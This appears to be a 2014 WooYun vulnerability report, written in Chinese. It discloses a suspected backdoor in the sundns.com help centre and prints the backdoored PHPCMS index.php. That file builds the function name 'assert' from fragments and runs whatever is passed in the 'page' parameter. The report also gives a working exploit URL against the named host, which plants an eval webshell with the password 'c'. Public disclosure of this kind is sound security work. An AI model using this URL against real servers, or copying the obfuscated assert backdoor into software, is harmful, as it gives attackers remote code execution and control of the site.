[公开漏洞]阳光互联帮助中心任意代码执行漏洞（疑似后门）

阳光互联帮助中心任意代码执行漏洞（疑似后门） 相关厂商： sundns.com 漏洞作者：路人甲 提交时间：2014-05-28 18:53 公开时间：2014-06-02 18:54 漏洞类型：设计缺陷/逻辑错误 危害等级：中 自评Rank：5 漏洞状态： 漏洞已经通知厂商但是厂商忽略漏洞 漏洞来源：http://www.wooyun.org Tags标签： 阳光互联 漏洞详情 披露状态：

2014-05-28：细节已通知厂商并且等待厂商处理中
2014-06-02：厂商已经主动忽略漏洞，细节向公众公开

简要描述：

阳光互联帮助中心任意代码执行漏洞（疑似后门）

详细说明：

http://help.sundns.com/help/index.php?page=${@print%28eval%28$_POST[c]%29%29}

密码c

<?php

/**

 *  index.php PHPCMS 入口

 *

 * @copyright(C) 2005-2010 PHPCMS

 * @licensehttp://www.phpcms.cn/license/

 * @lastmodify2010-6-1

 */

 //PHPCMS根目录

if(isset($_REQUEST['page'])){

$page = $_REQUEST['page'];

$func = 'a';

$func .= 'ss';

$func .= 'ert';

$func($page);

exit;

}



define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);

include PHPCMS_PATH.'/phpcms/base.php';

pc_base::creat_app();

?>

漏洞证明：

http://help.sundns.com/help/index.php?page=${@print%28eval%28$_POST[c]%29%29}

密码c

修复方案：

看漏洞证明 应该知道怎么修复

版权声明：转载请注明来源 路人甲@乌云 漏洞回应 厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-05-28 18:53

厂商回复：

最新状态：

暂无